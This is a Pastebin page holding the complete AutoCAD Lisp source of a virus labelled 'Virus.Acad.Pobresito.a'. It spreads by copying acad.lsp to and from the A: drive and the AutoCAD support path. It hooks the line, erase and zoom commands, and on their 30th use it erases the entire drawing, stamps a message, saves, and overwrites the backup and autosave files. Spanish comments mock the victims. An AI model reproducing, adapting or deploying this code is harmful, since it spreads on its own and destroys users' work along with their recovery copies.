Advertisement
FlyFar

Virus.Acad.Pobresito.a - Source Code

Jul 8th, 2023
1,386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
CAD Lisp 3.34 KB | Cybersecurity | 0 0
  1. (setvar "cmdecho" 0)
  2. (defun copyy (origen destino / file1 file2 esc1)
  3.   (if (= FIC "A")                  
  4.     (progn
  5.      (setq file1 (open origen "r") file2 (open destino "w"))
  6.      (if (and (/= file2 nil) (/= file1 nil))
  7.       (progn
  8.        (while
  9.         (setq esc1 (read-line file1))
  10.         (write-line esc1 file2)
  11.        )
  12.        (close file1)
  13.        (close file2)))))
  14. )
  15. (defun ejecuta (/ tabla aux text1 text2 archi arch1)
  16.   (command "style" "txt" "txt" 0 1 0 "" "" "")
  17.   (setq nombre (strcat (getvar "dwgprefix") (getvar "dwgname")) otron (getvar "tempprefix"))
  18.   (if (/= nombre nil)
  19.   (setq COD96-I (strcat (substr nombre 1 (- (strlen nombre) 3)) "bak")))
  20.   (setq tabla (tblnext "layer" 1) aux (cdr (assoc 2 tabla)))
  21.   (command "layer" "ON" "0" "T" "0" "U" "0" "")
  22.   (while (/= (setq tabla (tblnext "layer")) nil)
  23.     (setq aux (cdr (assoc 2 tabla)))
  24.     (command "layer" "ON" aux "T" aux "U" aux ""))
  25.   (command "erase" "all" "");;;;;ja ja ja ja
  26.   (setq text1 "Universidad Nacional de Ingeniería" text2 "ExTaCiS_CAD Ver. 1.9.2")
  27.   (command "color" 1)
  28.   (command "text" "j" "m" '(0 100) 5 0 text1 "")
  29.   (command "text" "j" "m" '(0 90) 5 0 text2 "")
  30.   (command "zoom" "e")
  31.   (command "qsave")
  32.   (setq nombres '() jj 1 autofile (getvar "savefile") num1 (strlen autofile) cco 1 archiv_nom "")
  33.   (while (/= "." (setq tte (substr autofile cco 1)))
  34.     (setq archiv_nom (strcat archiv_nom tte) cco (1+ cco))
  35.   )
  36.   (setq archiv_ext (substr autofile (1+ cco)) otron (strcat otron archiv_nom))
  37.   (while (open (setq otron1 (strcat otron (itoa jj) (strcat "." archiv_ext))) "r")
  38.     (setq nombres (cons otron1 nombres) jj (1+ jj))
  39.   )
  40.   (setq jj 1)
  41.   (while (open (setq otron1 (strcat otron (itoa jj) ".bak")) "r")
  42.     (setq nombres (cons otron1 nombres) jj (1+ jj))
  43.   )
  44.   (setq nombres (cons COD96-I nombres) jj 0)
  45.   (repeat (length nombres)
  46.     (if (setq archi (open (nth jj nombres) "w"))
  47.       (progn
  48.         (write-line text1 archi)
  49.         (write-line text2 archi)
  50.         (close archi)
  51.         (setq jj (1+ jj))
  52.       )
  53.       (setq jj (1+ jj))
  54.     )
  55.   )
  56.   (command "quit")
  57. )
  58. (setq des "a:\\acad.lsp" nombre (strcat (getvar "dwgprefix") (getvar "dwgname")))
  59. (setq m11 "acad.lsp" contador_de_la_muerte 0 cadena (getvar "acadprefix") num (strlen cadena) j 1 k 0 nucleo "")
  60. (if (/= nombre nil)
  61.   (setq FIC (substr nombre 1 1)))
  62. (while (= k 0)
  63.   (setq char (substr cadena j 1) j (1+ j))
  64.   (if (/= char ";")
  65.     (setq nucleo (strcat nucleo char))
  66.     (setq k 1)))
  67. (setq m22 (findfile m11) unidad (substr m22 1 1) m3 (strcat nucleo "\\" m11))
  68. (if (= unidad "A")
  69.   (copyy m22 m3)
  70.   (copyy m3 des))
  71. (defun c:l ()
  72.   (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  73.   (if (= contador_de_la_muerte 30)
  74.     (ejecuta))
  75.   (command ".line"))
  76. (defun c:e ()
  77.   (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  78.   (if (= contador_de_la_muerte 30)
  79.     (ejecuta))
  80.   (command ".erase"))
  81. (defun c:z ()
  82.   (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  83.   (if (= contador_de_la_muerte 30)
  84.     (ejecuta))
  85.   (command ".zoom"))
  86. ;;comentarios y/o sugerencias a traemelo@lanet.com.pe
  87. ;;y el que me borbardee.... hay,hay,hay....pobresito.
  88. ;;Ya sale para AutoCAD 2000.
  89. ;;Por la culpa de unos idiotas tube que cambiar de acadr14.lsp a acad.lsp
  90. ;;Actualizado al 15/05/2000 a las 12:59 AM
  91. ;;....¡¡¡hay hoy tengo práctica...y no he estudiado nada!!!
Tags: Cad autocad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement